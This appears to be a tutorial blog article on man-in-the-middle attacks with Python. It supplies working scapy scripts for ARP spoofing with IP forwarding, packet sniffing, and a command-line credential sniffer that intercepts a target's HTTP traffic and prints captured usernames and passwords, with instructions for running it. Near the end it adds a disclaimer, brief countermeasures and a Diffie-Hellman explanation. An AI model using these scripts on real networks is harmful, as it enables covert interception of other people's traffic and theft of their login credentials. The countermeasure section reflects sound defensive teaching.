Python for Man in the Middle Attacks
Introduction
Man-in-the-Middle (MITM) attacks are a powerful technique used in network security testing and penetration testing. In this article, we’ll explore how to perform MITM attacks using Python, focusing on ARP spoofing and packet sniffing. We’ll use modern libraries and discuss real-world applications of these techniques.
ARP Spoofing
ARP (Address Resolution Protocol) spoofing is a common technique used in MITM attacks. It involves sending falsified ARP messages on a local network to associate the attacker’s MAC address with the IP address of a legitimate device.
Here’s a Python script using the scapy
library to perform ARP spoofing:
from scapy.all import *
import time
import threading
def arp_spoof(target_ip, gateway_ip):
target_mac = getmacbyip(target_ip)
gateway_mac = getmacbyip(gateway_ip)
arp_reply_target = ARP(pdst=target_ip, hwdst=target_mac,
psrc=gateway_ip, op="is-at")
arp_reply_gateway = ARP(pdst=gateway_ip, hwdst=gateway_mac,
psrc=target_ip, op="is-at")
while True:
send(arp_reply_target, verbose=False)
send(arp_reply_gateway, verbose=False)
time.sleep(2)
def enable_ip_forwarding():
import psutil
if psutil.WINDOWS:
import winreg
key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r"SYSTEM\CurrentControlSet\Services\Tcpip\Parameters", 0, winreg.KEY_ALL_ACCESS)
winreg.SetValueEx(key, "IPEnableRouter", 0, winreg.REG_DWORD, 1)
winreg.CloseKey(key)
else:
import os
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
def start_arp_spoof(target_ip, gateway_ip):
enable_ip_forwarding()
threading.Thread(target=arp_spoof, args=(target_ip, gateway_ip), daemon=True).start()
# Usage
target_ip = "192.168.1.100"
gateway_ip = "192.168.1.1"
start_arp_spoof(target_ip, gateway_ip)
This script sends ARP replies to both the target and the gateway, effectively positioning the attacker’s machine as a man-in-the-middle.
Packet Sniffing
Once the MITM position is established, we can start sniffing packets. Here’s an advanced packet sniffer using scapy
with hardware acceleration when available:
from scapy.all import *
from scapy.layers.http import HTTP
import queue
import threading
# Try to use hardware acceleration
conf.use_pcap = True
def packet_callback(packet, packet_queue):
if packet.haslayer(HTTP):
if packet.haslayer(Raw):
packet_queue.put(packet[Raw].load)
def packet_processor(packet_queue):
while True:
try:
packet_data = packet_queue.get(timeout=1)
print(packet_data.decode(errors='ignore'))
except queue.Empty:
continue
def start_sniffing():
packet_queue = queue.Queue()
processor_thread = threading.Thread(target=packet_processor, args=(packet_queue,), daemon=True)
processor_thread.start()
sniff(prn=lambda pkt: packet_callback(pkt, packet_queue), store=0)
# Usage
start_sniffing()
This script uses a separate thread for packet processing to improve performance and utilizes hardware acceleration when available.
Real-life Example: Capturing Login Credentials
Let’s create a more advanced MITM attack that captures login credentials from HTTP traffic:
from scapy.all import *
from scapy.layers.http import HTTP
import re
import threading
import argparse
def arp_spoof(target_ip, gateway_ip):
# ARP spoofing code (as shown earlier)
pass
def enable_ip_forwarding():
# IP forwarding code (as shown earlier)
pass
def packet_callback(packet):
if packet.haslayer(HTTP):
if packet.haslayer(Raw):
load = packet[Raw].load.decode(errors='ignore')
username = re.search("(?P<username>username=\w+)", load)
password = re.search("(?P<password>password=\w+)", load)
if username and password:
print(f"Potential credentials captured: {username.group(0)} {password.group(0)}")
def start_credential_sniffer(target_ip, gateway_ip):
enable_ip_forwarding()
threading.Thread(target=arp_spoof, args=(target_ip, gateway_ip), daemon=True).start()
sniff(filter=f"host {target_ip}", prn=packet_callback, store=0)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="MITM Credential Sniffer")
parser.add_argument("target_ip", help="Target IP address")
parser.add_argument("gateway_ip", help="Gateway IP address")
args = parser.parse_args()
print("Starting MITM attack and credential sniffing...")
start_credential_sniffer(args.target_ip, args.gateway_ip)
This script combines ARP spoofing with packet sniffing to capture potential login credentials from HTTP traffic. It uses regular expressions to identify username and password fields in the packet payload.
To use this script:
- Install the required libraries:
pip install scapy
- Run the script with sudo privileges:
sudo python credential_sniffer.py 192.168.1.100 192.168.1.1
Remember, this is for educational purposes only and should only be used in controlled environments with proper authorization.
Visualizing the Attack
Let’s visualize this more advanced MITM attack using a Mermaid diagram:
sequenceDiagram participant Target participant Attacker participant Gateway participant Website Attacker->>Target: ARP Reply (I'm the gateway) Attacker->>Gateway: ARP Reply (I'm the target) Target->>Attacker: HTTP Request with login credentials Attacker->>Attacker: Capture credentials Attacker->>Gateway: Forward HTTP Request Gateway->>Website: Forward HTTP Request Website->>Gateway: HTTP Response Gateway->>Attacker: Forward HTTP Response Attacker->>Target: Forward HTTP Response
This diagram illustrates how the attacker intercepts and analyzes the HTTP traffic, capturing login credentials in the process.
Ethical Considerations and Countermeasures
While MITM attacks are powerful tools for security testing, they raise significant ethical concerns. It’s crucial to use these techniques responsibly and only with explicit permission.
Some modern countermeasures against MITM attacks include:
- Using HTTPS with HSTS (HTTP Strict Transport Security)
- Implementing certificate pinning in mobile applications
- Using VPNs or encrypted tunnels for all network traffic
- Employing 802.1X network access control
- Using tools like ARPwatch to detect ARP spoofing attempts
Conclusion
Python provides powerful tools for performing MITM attacks, but with great power comes great responsibility. Always use these techniques ethically and legally, and focus on improving network security rather than exploiting vulnerabilities.
For more in-depth information on MITM attacks and defenses, refer to the following resources:
Mathematical Background
For those interested in the mathematical aspects of network security, here’s a brief introduction to the Diffie-Hellman key exchange, which is commonly used to establish secure communications:
The Diffie-Hellman key exchange algorithm works as follows:
- Alice and Bob agree on a prime number $p$ and a generator $g$
- Alice chooses a secret integer $a$ and sends Bob $A = g^a \mod p$
- Bob chooses a secret integer $b$ and sends Alice $B = g^b \mod p$
- Alice computes $s = B^a \mod p$
- Bob computes $s = A^b \mod p$
Both Alice and Bob now share the same secret $s$ without ever transmitting it directly. The security of this algorithm relies on the computational difficulty of the discrete logarithm problem.
Understanding these mathematical concepts is crucial for developing robust security systems and identifying potential vulnerabilities in cryptographic implementations.